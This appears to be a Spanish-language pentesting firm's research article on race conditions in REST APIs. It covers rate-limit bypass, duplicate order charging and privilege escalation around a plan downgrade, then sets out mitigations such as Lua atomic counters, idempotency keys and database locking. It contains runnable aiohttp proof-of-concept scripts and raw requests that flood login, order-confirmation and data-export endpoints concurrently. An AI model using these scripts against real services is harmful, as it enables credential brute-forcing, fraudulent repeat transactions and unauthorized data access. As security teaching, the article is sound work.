HeapAlloc
Inicio/Research/Explotando race conditions en APIs REST modernas
Vulnerability Research

Explotando race conditions en APIs REST modernas

Un análisis en profundidad de cómo las race conditions en endpoints concurrentes permiten bypass de límites de tarifa, duplicación de transacciones y escalada de privilegios.

Abril 2025·12 min de lectura

Las race conditions son vulnerabilidades clásicas en sistemas concurrentes, pero su presencia en APIs REST modernas ha crecido en paralelo con la adopción de backends asíncronos, escalado horizontal y frameworks de alto rendimiento. Durante varios engagements de penetration testing hemos documentado tres clases de impacto real: bypass de rate limiting, duplicación de transacciones financieras y escalada temporal de privilegios.

Este artículo recorre cada clase con detalle técnico, PoC reproducibles y las mitigaciones que funcionan en producción.

El modelo de concurrencia que crea el problema

Frameworks modernos como FastAPI, Express o Spring Boot procesan múltiples requests de forma concurrente. Sin sincronización adecuada, operaciones que deberían ser atómicas —comprobar estado, decidir, actuar— se convierten en ventanas de explotación. El patrón vulnerable canónico es el TOCTOU (Time-Of-Check to Time-Of-Use):

  • CHECK: leer el estado actual (¿tiene créditos? ¿está dentro del rate limit? ¿tiene permisos?)
  • DECIDE: evaluar la condición y determinar si la operación es válida
  • ACT: modificar el estado y ejecutar la acción

Si múltiples requests superan la fase CHECK simultáneamente, antes de que ninguna ejecute ACT, todas creen que el estado es favorable y proceden. El resultado depende de la semántica del endpoint, pero el impacto puede ser crítico.

Clase 1 — Bypass de rate limiting

El caso más frecuente. La gran mayoría de implementaciones de rate limiting en Redis siguen un patrón no atómico: primero se lee el contador actual y se verifica el límite; después se incrementa y se renueva el TTL. Si ambas operaciones son comandos Redis independientes, existe una ventana de explotación.

python
# Implementación vulnerable — FastAPI + Redis
@app.post("/api/login")
async def login(credentials: LoginRequest):
key = f"rate:login:{credentials.email}"
count = await redis.get(key) # CHECK
if count and int(count) >= 5:
raise HTTPException(429, "Too many attempts")
await redis.incr(key) # ACT (ventana entre CHECK y aquí)
await redis.expire(key, 300)
return await authenticate(credentials)

Enviando 50 requests simultáneas antes de que el primer INCR se complete, todas pasan el check con count=None o con un valor bajo. La técnica más efectiva para explotar esto es el single-packet attack de HTTP/2: al enviar todos los requests en el mismo TCP segment, el servidor los procesa en ráfaga y maximiza la colisión.

python
# PoC — single-packet attack con aiohttp
import asyncio
import aiohttp
TARGET = "https://target.com/api/login"
PAYLOAD = {"email": "[email protected]", "password": "wrong_pass"}
CONCURRENCY = 50
async def fire():
connector = aiohttp.TCPConnector(limit=CONCURRENCY)
async with aiohttp.ClientSession(connector=connector) as session:
tasks = [session.post(TARGET, json=PAYLOAD) for _ in range(CONCURRENCY)]
# asyncio.gather garantiza el envío casi simultáneo
responses = await asyncio.gather(*tasks, return_exceptions=True)
codes = [r.status for r in responses if hasattr(r, "status")]
print(f"200: {codes.count(200)} 429: {codes.count(429)}")
asyncio.run(fire())

Burp Suite Pro incluye Turbo Intruder con el script race-single-packet-attack.py que automatiza todo esto. Para HTTP/1.1 la técnica equivalente es el last-byte sync: enviar todos los requests con Connection: keep-alive reteniendo el último byte y liberarlos todos a la vez.

Clase 2 — Duplicación de transacciones

Más impactante económicamente. En una plataforma de ecommerce con la que trabajamos el endpoint de confirmación de pedido no implementaba idempotency keys. El flujo era: crear pedido → reservar stock → cobrar → confirmar. Cada paso era una operación separada sin bloqueo global.

Un usuario con saldo de 100 € creaba un pedido de 90 €, luego enviaba 30 requests de confirmación simultáneas. El resultado: el primer request reservaba el stock y lanzaba el cobro. Los siguientes requests encontraban stock reservado aún válido (el commit de reducción tardaba ~200ms) y volvían a cobrar. Conseguimos procesar el mismo pedido 4-5 veces en cada intento.

http
POST /api/orders/a3f9c21b/confirm HTTP/2
Host: target.com
Authorization: Bearer eyJ...
Content-Type: application/json
{}
# Enviado 30 veces en el mismo instante con Turbo Intruder
# Resultado observado:
# [200] Order confirmed — charge: 90.00 EUR (x4)
# [409] Order already confirmed (x26)

La ventana de explotación dependía de la latencia de la base de datos. Con una DB en la misma AZ (baja latencia) la ventana se cerraba en ~50ms y conseguíamos 2-3 duplicados. Con una DB cross-region (alta latencia) la ventana era de 300-400ms y los duplicados llegaban a 8-10.

Clase 3 — Escalada temporal de privilegios

La más sofisticada. Algunos sistemas actualizan el rol del usuario en la sesión de forma asíncrona: cuando un usuario hace downgrade de plan, el endpoint de downgrade pone una tarea en cola que revoca los permisos con un pequeño delay. Si en ese intervalo el usuario envía requests a endpoints privilegiados, los encuentra accesibles.

Encontramos una variante más interesante: el endpoint de upgrade de plan leía el nuevo rol desde la base de datos y lo almacenaba en un JWT de corta duración (15 min). Si se enviaban simultáneamente 1 request de downgrade y N requests de acción privilegiada, el race determinaba si las acciones se ejecutaban con el rol antiguo o el nuevo.

python
# PoC — race entre downgrade y acción privilegiada
import asyncio, aiohttp, time
SESSION = "Bearer eyJ..." # token con plan Pro activo
async def downgrade(session):
return await session.post(
"https://target.com/api/subscription/downgrade",
json={"plan": "free"},
headers={"Authorization": SESSION}
)
async def privileged_action(session):
return await session.post(
"https://target.com/api/export/full-database",
headers={"Authorization": SESSION}
)
async def race():
async with aiohttp.ClientSession() as session:
tasks = [downgrade(session)] + [privileged_action(session) for _ in range(20)]
results = await asyncio.gather(*tasks, return_exceptions=True)
for r in results:
if hasattr(r, "status"):
print(f"{r.status} — {await r.text()}")
asyncio.run(race())

Técnicas de detección

Desde el lado del atacante, identificar endpoints vulnerables requiere observar comportamiento bajo concurrencia alta. Un script de fuzzing básico que envía 20-50 requests simultáneos a cada endpoint POST/PUT y compara los códigos de respuesta suele revelar inconsistencias.

Los indicadores de vulnerabilidad son: múltiples respuestas 200 donde se esperaría un solo éxito, respuestas con datos duplicados, o variación en el resultado dependiendo del timing. Las herramientas más útiles son Turbo Intruder, ffuf con -rate y -t altos, y scripts Python con asyncio + aiohttp.

Mitigaciones

Redis: scripts Lua para operaciones atómicas

La solución para rate limiting es ejecutar check + increment como una operación atómica usando un script Lua o el comando INCR con comparación posterior:

lua
-- Script Lua atómico para rate limiting
local key = KEYS[1]
local limit = tonumber(ARGV[1])
local ttl = tonumber(ARGV[2])
local count = redis.call("INCR", key)
if count == 1 then
redis.call("EXPIRE", key, ttl)
end
if count > limit then
return 0 -- bloqueado
end
return 1 -- permitido

Idempotency keys para transacciones

El cliente genera un UUID único por operación y lo envía en el header Idempotency-Key. El servidor almacena el resultado de la primera ejecución y devuelve el mismo resultado para requests duplicados con la misma key, sin reejecutar la operación.

python
# Implementación segura con idempotency key
@app.post("/api/orders/{order_id}/confirm")
async def confirm_order(order_id: str, request: Request):
idem_key = request.headers.get("Idempotency-Key")
if not idem_key:
raise HTTPException(400, "Idempotency-Key header required")
# Intentar escribir la clave con NX (solo si no existe)
acquired = await redis.set(
f"idem:{idem_key}", "pending", nx=True, ex=86400
)
if not acquired:
# Ya existe — devolver el resultado cacheado
cached = await redis.get(f"idem:result:{idem_key}")
return JSONResponse(json.loads(cached))
# Primera ejecución — procesar y cachear resultado
result = await process_order_confirmation(order_id)
await redis.set(f"idem:result:{idem_key}", result.json(), ex=86400)
return result

Database-level locking

Para escalada de privilegios y cualquier operación que requiera consistencia fuerte, SELECT FOR UPDATE en PostgreSQL o transacciones con isolation level SERIALIZABLE son la solución definitiva. El coste en latencia es real pero aceptable para operaciones críticas.

Optimistic locking con versioning (campo updated_at o version_number) es más escalable que los locks pesimistas, pero requiere que la aplicación maneje correctamente los conflictos. Muchas implementaciones de optimistic locking en ORMs tienen edge cases no cubiertos bajo alta concurrencia.

¿Quieres probar tu resistencia?

Aplicamos estas técnicas en engagements reales. Cuéntanos tu caso.

Contactar